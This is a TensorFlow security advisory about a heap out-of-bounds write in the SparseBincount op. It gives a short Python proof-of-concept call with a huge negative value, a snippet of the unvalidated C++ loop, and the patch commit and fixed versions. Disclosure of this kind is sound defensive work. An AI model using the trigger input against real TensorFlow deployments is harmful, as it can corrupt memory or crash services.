Heap OOB in `SparseBinCount`
### Impact
The implementation
https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/bincount_op.cc#L353-L417 of `SparseBinCount` is vulnerable to a heap OOB:
```python
import tensorflow as tf
tf.raw_ops.SparseBincount(
indices=[[0],[1],[2]]
values=[0,-10000000]
dense_shape=[1,1]
size=[1]
weights=[3,2,1]
binary_output=False)
```
This is because of missing validation between the elements of the `values` argument and the shape of the sparse output:
```cc
for (int64_t i = 0; i < indices_mat.dimension(0); ++i) {
const int64_t batch = indices_mat(i, 0);
const Tidx bin = values(i);
...
out(batch, bin) = ...;
}
```
### Patches
We have patched the issue in GitHub commit f410212e373eb2aec4c9e60bf3702eba99a38aba
https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.